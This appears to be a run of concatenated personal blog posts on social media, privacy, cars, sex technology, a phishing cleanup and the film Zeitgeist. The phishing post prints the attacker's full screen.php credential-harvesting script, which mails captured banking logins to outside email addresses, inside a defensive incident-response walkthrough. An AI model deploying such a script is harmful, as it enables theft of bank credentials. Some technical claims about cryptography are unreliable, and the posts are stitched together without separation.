First, let us examine the evidence that Newsweek provides for the decline in social media.

1. Wikimedia, after its prolific crowdsourced contribution to wikipedia until 2009 is now having to recruit contributors and editors.
2. According to Technorati, professional bloggers are on the rise whereas hobbyist loggers (like your truly) are on the decline. 95% of the blogs are abandoned in the first month. A recent Pew study found that blogging has withered as a pastime, with the number of 18- to 24-year-olds who identify themselves as bloggers declining by half between 2006 and 2009.
3. Although twitter is adding users at an astounding rate, 90% of tweets come from 10 percent of users, according to a 2009 Harvard study. Between 60 and 70 percent of people signing up for twitter quit within a month, according to a recent Nielsen report.
4. While Digg won readers, it struggled to sign up voters and has forced a change in format to something similar to social networking sites like facebook.

Based on this evidence, the article concludes that (a) traditional social media and citizen journalism is on the decline (the only kind of social media that is rising is the one that allows people to connect with each other), and (b) the underlying reason for it is that people are lazy to do anything for free. Do you seen the disconnect in logic and reasoning here?

Novelty Factor

First, the author of the article chooses to completely ignore the ‘novelty’ factor that we are all subject to. Remember Beanie babies? How about the slinky? They were wildly popular when they first came out, but not any more. Is that because people got too lazy to play with them? Of course not! It’s the novelty factor. When people see something new, it will pique their interest and exploring it is a reward unto itself. So people tend to use it to understand it. Once the novelty factor wears out, only the hardcore fans and professionals occupy the niche. It explains everything from the slinky and beanie babies to blogs and twitter. I am surprised that the article did not make that connection.

Knowledge Generation and Gatekeepers

Second, how is wikimedia’s recruiting professionals a bad thing, even for social media? Knowledge validity is not subject to democracy. Evolution does not become untrue simply because a majority of our population choose to be Bible thumpers. If wikimedia intends to be taken seriously as a repository of human knowledge, it needs gatekeepers and knowledge generation agents who are proficient in their respective areas and disciplines. This ensures that crowdsourced information and knowledge is validated before it pollutes the repository.

Blogging Bubble

Third, the article seems to assume that everyone who started a blog started it with the intention of generating information to be shared with everyone. This is simply not true (see my earlier point about the novelty factor). In fact, I will hazard to assert that a vast majority of the people who blog do not do it to generate more information for the benefit of others. I will go on to claim that it is blogs like these that tend to be abandoned. Therefore, no harm no foul there. Its not too different from an economic bubble really. Much like the housing bubble gave people and unrealistic estimate of the value of real estate, the ‘blogging  bubble’ (the phenomenon of everyone on the street having a blog of their own) gave people an inflated idea of the amount of information being generated by the blogsphere. When the blogging bubble is now burst, and the `decline’ or `stagnation’ we see now is the intrinsic value of the information generated by the blogsphere all along.

Not everyone wants to generate, aggregate, and share information. That is perfectly fine. If you have everyone generating information, who is there to consume, process, and utilize them?

Social Cliques

Fourth, when it comes to platforms like Digg, they started with the premise that if a lot of people “dig” something, then the odds are that a lot more people will be interested in the information that has been “dug”. As it turns out, the premise is not entirely accurate. People are members of relative small cliques, and the value of the same piece of information varies  from one clique to another. Digg recognized this and has taken steps to reorganize the site to align with this empirical observation. That does not mean that social media is on a decline. It simply means that we are using social media differently.

Motivation for Congnitive Tasks

The article also talks about putting rewards in place to encourage participation in sites like Gawker and Huffington Post and then makes a snide remark about the next step being offering money. Obviously Newsweek is ignorant to Dan Pink’s presentation on what motivates people. The bottom line is that money is not a motivator for cognitive tasks. (in fact, it could be a de-motivator) Most of traditional social media is about performing cognitive tasks to generate and collate information.

As a counter example, consider Linux, an open-source operating system. It has thousands of contributors who work for free to create a product and then give that product away for free! It’s not too different from many bloggers who blog for free and allow viewing the blog for free. It’s not too different from wikimedia contributors adding and editing articles. Linux and the open-source movement is as strong as ever. So why should blogs and wikimedia be any different?

Then what about the data and statistics that the article presented? Well, that simply says that a whole bunch of people jumped on the bandwagon for all the wrong reasons and now they getting off the bandwagon. But there are still a sufficient number of individuals left to carry on the movement.

So yeah, the blogsphere is maturing, wikimedia is maturing, not dying. All that means is that now on, the only people who are going to get on to traditional social media are the ones who see an intrinsic value in the participation, and I am pretty confident that there will be plenty of people. Think Linux, think open source. This is no different.

S.M.U.T. is famous academics giving you ten minute talks that will alter your perspective on the direction of the universe. Subversive talks bring for dangerous ideas. (Technology is as technology does.) Talks will be interspersed with technology installation pieces (did we say robots?), blooper research video reels, and art displays from local artists.

Here is my take on it: S.M.U.T. is an effort to bring technology to people (and get people to understand and accept it) before technology gets (in the sense of trickery) to people. Yesterday was the second edition of S.M.U.T. at Stafford Main and much like the first, it was very interesting and fairly successful. You don’t have to take my word for it, check out the buzz about S.M.U.T. on twitter.

There were talks on green technology, and how its much more than just windmills and solar panels; robots as truth seeking devices; the nature of privacy online; and the talks, although interesting on their own merit, were punctuated and complemented by some impressive slam poetry.

The first edition had talks on how every time there is a new communication/storage technology, satan and aliens seem to start communicating with us using that technology; experience report by a researcher who worked with Mars rovers; and many more.

I personally enjoyed it, and I think its a great initiative among many to bring an understanding and appreciation of science and technology to everyone. If you are in the Bryan/College Station area, and you are an artist, a designer, a researcher, an entrepreneur, or something who has something interesting, creative, and subversive to share, please contact Tracey Hammond and/or Cody Marx Bailey to be a speaker/presenter at a future S.M.U.T.

If you are not in the Bryan/College Station area, then consider starting one in your own community. I think it’s a much needed effort if we as a society are to learn to use our ever-advancing technology as an agent for progress.

Even though there is a lot of noise about privacy issues, there isn’t really anyone with a clear picture on where things are, where they will be heading, where they should be heading, and how do we as individuals adapt to these changes. I think the problem is that of methodology. People are trying to solve new-age problems with old-age tools; it’s not going to work. In this post, I attempt to explain my foregoing sentences.

Fatalists and conservatives. Let us take a look at the two major camps on the issue of privacy today. On one side you have the likes of Mark Zukerberg, David Thomson, and Samy Kamkar who believe that privacy is dead (the fatalists), and on the other side you have the likes of Future of Privacy Forum and Bruce Schneier who believe that maintaining our privacy is only a matter of setting up the right legal/economic framework of incentives and disincentives within the present (and future) context (the conservatives).

Both camps have valid points. Despite all the brouhaha about privacy issues with facebook, facebook continues to add more users, and current users continue to treat facebook as their repository of their social life and social interactions. So maybe privacy really is dead! But the very fact that there is such a backlash reveals the fissure in society where you have a significant faction that jealously guards many of its actions and its information, but finds that it is not able to maintain its privacy because ‘other entities’ (friends, banks, credit card companies, and such) are making them public. And there are still others who simply do not realize that what they think is private really is not. So the question is, what is the state of the art on this issue?

Privacy vs. Security. The first problem that you encounter when trying to answer that question is that there no common understanding of what privacy really is. Often people bleed their concerns of security into the issue of privacy. This is muddying the waters to the point where no coherent narrative emerges. While security is and should always be a grave concern, it an orthogonal issue to privacy. One possible consequence of loss of privacy is that the security of our property and resources is at jeopardy, but that is not a basis to conflate privacy with security. There should be separate discussions on each issue. They may complement each other but one should not supplement the other. Remember, a secure life does not guarantee a private life!

Privacy through public obscurity. Now that we know we talking exclusively about privacy and not security, we can move forward. In the past privacy has been protected largely due to the technological limitations that made several tasks intractable. Such intractability lead to privacy through public obscurity. For example, before the advent of telegraph and telephone, there was very little to worry about legitimate information about your activities (that you deem private) to your relatives in a different state. Why? Because of what I like to call Chinese-Whispers effect. But that changes with the ubiquity of telephones. Similarly, before the advent of the internet, at any point in your life, you were free to ‘reinvent’ yourself by simply moving to a new town, getting a new job and simply not citing individuals from your old life as references. There was very little anyone could reasonably do to dig up your past life (of course, you could always hire a private-eye, but that would constitute an unreasonable effort).

In fact, the privacy of your online communications with your bank are established by privacy through public obscurity. Worried? Don’t be, not for now at least. All `secure’ online communications use what is called public-key cryptography which involves dealing with numbers that have 100-200 digit prime numbers as their factors and encrypting messages with these numbers. In order to decrypt the message, one has to be able to factorize the large number into its constituent large prime numbers. The fastest-to-date mechanism to factorize a number is still by brute-force, and hence intractable. For even the fastest computers, this task could take years, by which time the contents of your private communication will be (hopefully) irrelevant. Thus, privacy through public obscurity.

I bring up the example of public-key encryption for a reason: the task of factorizing large numbers, although intractable right now, might not be so in the future (it wont be because the computer got faster, it will be because either quantum computers become a reality, or the answer to the famous P=NP problem in computer science is the affirmative). If that happens, then what do you think society’s response will be? Do you do expect two camps: one that says cryptography is dead, and another one that says all mechanisms to factorize numbers should be outlawed or disincentivised some how? Of course not. That’s an absurd proposition! The response will be to build a better cryptographic technique that works despite the state of the art.

We are facing a similar situation with privacy today, and the two camps that I referred to earlier are not helping. The fact remains that these days more often than not someone is hearing a tree fall in the forest, and so more trees are making a sound when they fall. So how do we deal with it?

First, learn to give up some of your privacy. Technology has made a lot of tasks tractable, and our physical and mental abilities and faculties are not evolving at a rate to match the pace of technology. Consequently, we are not able to make all our actions intractable to the new technology. So we have to give up some of our privacy. While this may be a ghastly notion for people in the western hemisphere, it is surprisingly common for societies in the eastern hemisphere to trade privacy for social support structure, security, and (more controversially) for happiness. Much like we have given up privacy for air flights but not for bus or train journeys, we may have to give up privacy in certain aspects of your life that we had otherwise considered to be private.

As for the natural follow-up question, what aspect of our privacy do we have to give up, I honestly don’t know. My speculations and proposals here are of methodological nature. I am not answering questions. I am just trying to figure out what the right questions to ask are! Isn’t that the first step in arriving at a resolution to our privacy issues?

Second, indulge in information overload. The less information you give out, the more useful every extra bit of information about you is. Inevitably, despite your best efforts, more information about you will leak out. So how do you counter that? With information overload. Take Hasan Elahi as a classic example. After he was erroneously put on the FBI terrorist watch list, and he had to endure a gruelling questioning by the FBI that took up hours of his time and ultimately to no one’s benefit, he decide to turn the tables on FBI. He put up a website called Tracking Transience where he has up up pictures, videos, and all sorts of evidence of where he has been and what he has been doing every hour of every day! Since there is already so much information about him available, any additional information about him is not so useful any more. Curiously, he doesn’t appear in any of this photographs. He is one behind the camera. So in a sense although he has given you so much information about him, he really hasn’t given you anything that is remarkably useful. Paradoxically, by revealing so much about himself online, he has secured his privacy. [For details, visit: http://memes.org/tracking-transience-hasan-elahi]

Ok, so Tracking Transience works for Hasan, what about the rest of us? Again, I am only showing you where to being asking the right questions; I do not have answers for you.

Are there any more tools of this or different kind that we can employ? Arguably, yes. One needs to look harder, and looks at different places. The new tools are different in kind, and presumably, in an ironic twist, an artefact the technology that has precipitated the issue of privacy in the first place.

In conclusion, my argument simply is that you cannot use old tools of fatalism, legal recourse, and economic regulation to frame the debate of privacy and expect a resolution. They are simply the wrong tools for the job! I will wrap this post up by continuing with the metaphor with which I started this article: if the tree falls in the forest and there are people to hear it, then let them hear it, but make sure that every minute sound made by the tree and the trees around it are perpetually amplified and broadcast to where the sound made by the falling tree become noise and simply irrelevant!

• While going downhill, does it consume more fuel to coast on neutral or in gear? As it turns out, the car consumes almost no fuel when coasting in gear! When you coast in neutral, you consume as much fuel as an idling car, that is about 1 Gallon per hour. Surprised? Don’t take my word for it, refer to the source: Popular Mechanics. This applies to all fuel injected cars because when the accelerator is not depressed, the engine maintains minimal idling engine RPM (which is about 1000) or more. While coasting downhill in gear, if the transmission can provide at least 1K or so RPM to the engine (via gravity), then the fuel injector pretty much shuts off consuming zero fuel. However, when you are coasting in neutral, the transmission is not connected to the engine. So the fuel injector is forced to use idle running engine with fuel like it was stationary.
• Is it more fuel efficient to use air conditioner or to drive without it? Unfortunately, there is no simple answer to this one. The most concise answer is that if the car interior is too hot, then first let it cool down the old fashioned way by rolling the windows down even before you start the car [source: ezinearticles]. Next, if you are driving in the city, then you are better off will windows rolled down and A/C off [sources: carjunky, bankrate]  . However, if you are driving over 45mph, then the drag created by open windows increases to the extent that you are probably better off rolling them up and turning your A/C on [source: wikihow]. The exact numbers on this aren’t very clear. It depends on how aerodynamic the car is, how old the engine and the A/C compressor are, and so on. Apparently, for newer cars, the fuel consumed by the A/C compressor is negligible [source: edmunds, AASA].
• Speaking of the summer and car A/C, do you have any idea how hot in gets in Qatar? Hot enough to bake cookies in the car! I am not kidding: check out this blogpost by Sybil Knox. She used her car as an oven to bake cookies. She even has the recipe for anyone interested.
• Oh, and would you like to be able to start your car from anywhere (where there’s a cell phone signal)? There’s an app for that (available for iPhone, Android, and Blackberry)!
• Remember the flying car from the movie Chitty Chitty Bang Bang? This one:
  

  Flying car from "Chitty Chitty Bang Bang: The Magical Car". Source: http://www.badmouth.net/top-five-flying-cars/

  Well, it’s now a reality.. well almost. Terrafugia has come out with Transition that has been cleared by FAA. But it looks a little different. Like this:

  

  Terrafugia Transition: Flying Car

  For more information on the story behind the car and the technical challenges in designing the car, check out this article in Boing Boing.

  Check out this link for a brief history of  attempts at flying cars shown as a slideshow in Popular Mechanics.

• Moving on, looks like the future cars are going be a lot more audacious than your stereotypical backseat driver. They are being designed to spray vitamins on your face and tell you how to drive, constantly! Don’t believe me? Check out this PopSci article then. Nissan really is building such a car.

I will end this post with a link to the Huff. Post slideshow of the finalists for the Progressive Automotive X Prize. Enjoy!

Image Source: Fox News

Its not surprise that technology has been influenced heavily by people wanting to have sex or see other people have sex. Along the lines of what Scott Adams noted, in the vernacular, technology is driven forward by ostensible nerds, and as noted in the movie “Revenge of the Nerds”, nerds think only about sex when not thinking of being a genius. So any new technology that comes around, you can bet your money on it being used for something related to sex (and/or porn). Historically, when printing press came out, we had porn books follow soon; in the VHS vs. BetaMax war, VHS won primarily because porn videos were released in VHS and not in BetaMax (because BetaMax tapes, at least initially, were only 60 min. long); similarly when cameras came out, we had porn photographs. Why when Poloroids came out, you had home made porn hitting the cultural market in no time! So where is technology driving sex/porn now (or is it the other way around)?^[1]

My first true realization that technology really was all about sex came about in 2005 soon after the iPod came out. In 2005 or so came the iBuzz, which was essentially an iPod-powered-vibrator whose ‘buzz’ was essentially music activated. From then to now, the adult entertainment industry (that how they liked to be called BTW) has been leapfrogging with the technology, and in some cases, driving the technology. For instance, take iBuzz, technology soon improved around it to where now you have Freestyle (NSFW)which is the wireless version of the iBuzz with increased compatibility and quieter motors. Now if that wasn’t good enough for you, you have the Talk2Me (NSFW) which adds an interactive component to the whole deal: it comes with a built-in mic to turn vocalizations into vibrations; so now you can basically talk yourself into an orgasm (WTF)! Oh, and it gets better, the website advertises “Use it as a standard vibe or with your favorite song, your lover’s voice, a podcast, or your boyfriend’s video game.” You boyfriend’s video game?!?! So instead of having sex (which apparently is the second best thing you can do as a couple), let your boyfriend play a video game that you can orgasm to!

But if you insist on having sex (with your partner), but are geographically separated, or somehow detest the idea of having actual physical contact, then Virtual-Stick Synchro is the one for you! This is actually the next technological jump from phone sex. Its as close to virtual reality (and I mean ‘real’ reality, not a pixelated version) and extra-sensory tools that we have gotten with reliability. This tool has a ‘male’ stick for the woman and a ‘female’ hole for the man, and they are hooked up to each other via the internet, with webcams, mics, and other conventional communication mechanisms, and whatever each individual does to/with the stick (resp., or the hole), it’s sensed, transmitted, and replicated by the hole (resp., the stick). It aims to reduce a long distance relationship to a co-existential one in the 5th dimension.

But what if you don’t have a (willing) partner and still insist on having sex. Looks like we have technology working hard for you folks to! Until now, your only reasonable recourse was a blowup doll. Not anymore: recently showcased at the Adult Entertainment Expo in Las Vegas is Roxxxy TrueCompanion (NSFW). A TrueCompanion is the world first sexbot, that’s right, it’s a robot designed for sex! Its not science fiction anymore. It was artificial intelligence and mutliple personalities depending on your taste.It has sensors all over its body and so it can actually ‘feel’ whatever you are doing to it, and respond appropriately.

The motivation for Roxxxy is a testimony to the argument that nerds really do only think about sex (when they are thinking about being a genius). Now Roxxxy was created by Douglas Hines who was a researcher at Bell Labs (where he learned about the cutting edge in artificial intelligence). Douglas lost a good friends when the twin towers fell on 9/11. Douglas thought that it was sad to not be able to ever talk to him again. So, this made Douglas think seriously about how to implement a robotic representation of a person and have it reflect that person’s personality. And what came out of such a somber thought and effort is a Sexbot! Go figure :-)

Wonder where technology will take us next. My bet is that the publicity surrounding stem cells has less to do with curing diseases and more with the opportunities it provides us to have sex in many more different ways (much like many other technologies preceding it). I think what they are really going for is the Love Lump (NSFW). Any other predictions anyone?

References:
[1] Source: http://www.abc.net.au/science/wings/episode5.htm ^

To whom it may concern:

Please be aware that Wachovia Corporation (“Wachovia”) is the owner of numerous United States and foreign trade marks and services marks used in connection with its financial services and products (the “Wachovia Marks”), including the Wachovia wordmark and Wachovia logo.  Wachovia has expended substantial resources to advertise and promote its products and services under the marks and considers the marks to be valuable assets of Wachovia.

It has come to our attention that your company is hosting a known active phishing site.  The active phishing site displays the Wachovia Marks and is intended to defraud customers in an attempt to capture and use their identity.  Network Whois records indicate the IP address of the phishing site is registered to your Internet space.

Accordingly, we request that your site bring down the Phishing web site at:
<< http://<my website>/home/plugins/editors-xtd/confirm.html >>

So that’s how I knew that my site had been compromised by hackers and a phishing attack code had been injected into my site. If it has happened to you, do you know what is the right thing to do? How do you fix it? Well, here is what I did, and I think it is worthwhile to share this information so that it may be useful to others.. So here goes.

Step 1. Disable Your Site

First, disable your site, bring it down temporarily. The last thing you want is for more people to be scammed by a hacker who compromised your site. You can do that by disabling all access to all the files within your website. If the website is running on unix/linux you can do a “chmod -R 000 <website-home-directory>” (Refer to the chmod tutorial here). For those using cpanel, go to the file manager and change the permissions of the document root for the website.

Step 2. Investigate the Offending Webpage

Now that no more unsuspecting users can be affected by this phishing attack. Now we dig into the offending webpage that is causing the problem. In my case it was: http://<my website>/home/plugins/editors-xtd/confirm.html

I opened up the html file, and this is what I saw:

……

<html xmlns=”http://www.w3.org/1999/xhtml”><head>

<title>Wachovia – Personal Finance and Business Financial Services</title>

……

Clearly, someone was impersonating the Wachovia website. Now, with phishing, someone is trying to steal your username and password by impersonating some crediable website that needs your username and password to get into. In HTML, this is typically accomplished through ‘forms’, which starts with a `<form>’ tag in HTML. So I dug through the code and I saw two form tags.

The first one was:

<form method=”get” action=”http://search.wachovia.com/selfservice/microsites/wachoviaSearchEntry.do?” name=”searchForm” onsubmit=”return verifyQuery(this.searchString);”>

…..

This looks fine because the ‘action’ parameter points to http://search.wachovia.com/selfservice…. which is a search script on the Wachovia website. So anyone filling you this form is sendin their data to the Wachovia website and the hacker will not get any information from it.

Now to the second form tag:

<form method=”post” action=”screen.php” name=”uidAuthForm” id=”uidAuthForm” onsubmit=”return submitLogin(this)”>

……

Aha! The smoking gun! Why? Well, look at the ‘action’ parameter in this ‘form’ tag, it says ‘screen.php’ which is clearly not a script that is on the Wachovia servers, but something that is hosted on my website! So the hackers installed another script on my system to phish the username and passwords. Now I go see what’s inside this ‘screen.php’ file that is located in the same directory as the ‘confirm.html’ file we have been looking at so far.

Step 3. Isolate the script that is doing the actual phishing attack and find the offenders

So I open up the ‘screen.php’ file and this is what I find:

<?php

$ip = getenv(“REMOTE_ADDR”);
$datamasii=date(“D M d, Y g:i a”);
$userid = $HTTP_POST_VARS["userid"];
$password = $HTTP_POST_VARS["password"];
$mesaj = “Hello
userid : $userid
password : $password
——–0WN3d By Louis—————-
IP : $ip
DATE : $datamasii
“;

$recipient = “cashbug5010@gmail.com,smithgreen@hotmail.com”;
$subject = “Take What U need But Make Sure U Cash It Out !!!”;

mail($recipient,$subject,$mesaj);
mail($to,$subject,$mesaj);
header(“Location: http://www.wachovia.com/helpcenter/0,,,00.html”);
?>

So here we are! Gotcha! Check out the line ‘$recipient = “cashbug5010@gmail.com,smithgreen@hotmail.com”;’ Clearly, the phishing attack was being carried out by the following two email addresses: cashbug5010@gmail.com and smithgreen@hotmail.com. Now that I have this much information, what do we do next?

Step 4. Inform the Authorities

We give this information to the authorities who can carry the investigation forward. And who are they? First, respond back to the email address that alerted you of this phishing attack (do a ‘reply all’ if there were multiple recipients/Cc’s to the email you received). Also, copy phishing-report@us-cert.gov and cert@cert.org to this email and just give them a copy of the phishing code (in this case it was the file ‘screen.php’) and the offending email addresses you found.

As for now, that is all you can do, and just co-operate with the authorities if they need more information.

Step 5. Quarantine the Malicious Code and Restore Your Website

Quarantine the files (by disabling their permission to ’000′) and now that the code has been quarantined, you can bring your website up again by setting the permission back to as they were earlier (except for the offending code).

DO NOT DELETE THE MALICIOUS CODE BECAUSE IT IS EVIDENCE AGAINST THE PHISHING ATTACK AND EXONERATES YOU! Otherwise, the authorities may pursue you as an accessory to the crime!

Step 6. Inform Google That Your Site is Safe Again

Now, note that the odds are that Google has already put a notice out against your site as a source of a phishing attack. So go to the following URL http://www.google.com/safebrowsing/report_error/ to let Google know that the problem has been taken care off and you site is safe again.

And that’s all you can do for the moment. Make sure your site is secure and you haven’t given permission to any of your directories to be writable by anyone except you. As for preventing future security breaches, it is always a cat-and-mouse game with hackers and like of you getting smarter and better than the other.

(Having said that, I still recommend people seeing this movie. The attempt and effort is legitimate. So are a lot of fears expressed in it.)

Virgin Birth

My opinion of the movie received its first dent when, in Part I, it says that Krishna (a Hindu god) was born of a virgin. I may not know about Greek, Roman, or Egyptian mythology, but I do know Hindu mythology and I know for a fact that Krishna is not believed to be of virgin birth. This gives me good reason to suspect the claims about the stories of Horus, or Dionysus, or any other mythical character that the movie talks about.

Authority of Sources

Going back to the source of this ‘information’ in the sources page, I found that the Krishan’s Virgin Birth assertion was obtained from books by M.D. Murdock (a.k.a Acharya S.). Acharya is a major proponent of the Jesus myth hypothesis, but her works cite other works that are of suspect authority, and provides extremely once sides citations. In fact, most of the sources and books cited in the movie website are all in the style of conspiracy theories, and have suspect authority at best. By the principle of inheritance of authority, Zeitgeist is of questionable authority as well.

What is plausible may not be true

Zeitgeist shows what could be a plausible explanation for Christianity, 9/11, and the federal reserve system, but they need not be true. To assert the truth of any statement, one needs to (a) show that the statement cannot be falsified, and (b) all other statements that oppose this statement can be falsified. Zeitgeist fails on both counts, and hence cannot assume credibility to the statements it makes.

Obfuscation Through Over-Simplification

Specifically in Part III, the description of money generation by the Federal Reserve Bank is over-simplified to a point where its practically untrue. The pathological sequence of events that could lead to a financial catastrophe is true, but the described mechanism of the Federal Reserve Bank fueling massive debts on America is not. A good place to get an idea of how money is generated is the Money Creation article on wikipedia.

Also, as far as massive debts due to interests on loans that serve to feed more loans and so on, go.. well… that’s pretty much how any economy runs. The money has to come from somewhere, and this ‘generation’ of money has to be controlled (to avoid ‘over heating’ the economy and spiraling the inflation), the best means of doing so is to attach a penalty to generating money, and that’s what the Federal Reserve accomplishes by charging interest on the money thats generated.

So that’s my 2 cents worth second thoughts on Zeitgeist. However, I still encourage people to see this movie. At the very least, to see what alternate explanations can be provided for a same facts presented to you. All too often you have access only to the media’s interpretation events and facts. This is great way to see the counterculture argument and interpretations.

The statement on the website says:

Zeitgeist was created as a non-profit filmiac expression to inspire people to start looking at the world from a more critical perspective and to understand that very often things are not what the population at large think they are. The information in Zeitgeist was established over a year long period of research and the current Source page on this site lists the basic sources used / referenced. Soon, an Interactive Transcript will be online with detailed footnotes and links so exact sources and further research can be relayed.

…

Here’s the movie for your viewing. Note that the movie is 2 hours long, so make sure you have enough time to watch it. But I guarantee that you will have strong opinions about it one way or the other.
Don’t forget to check out the Clarifications (which dented my confidence in the authenticity of the ‘facts’ in the movie), and the Sources sections.

Without further ado, here’s the movie :)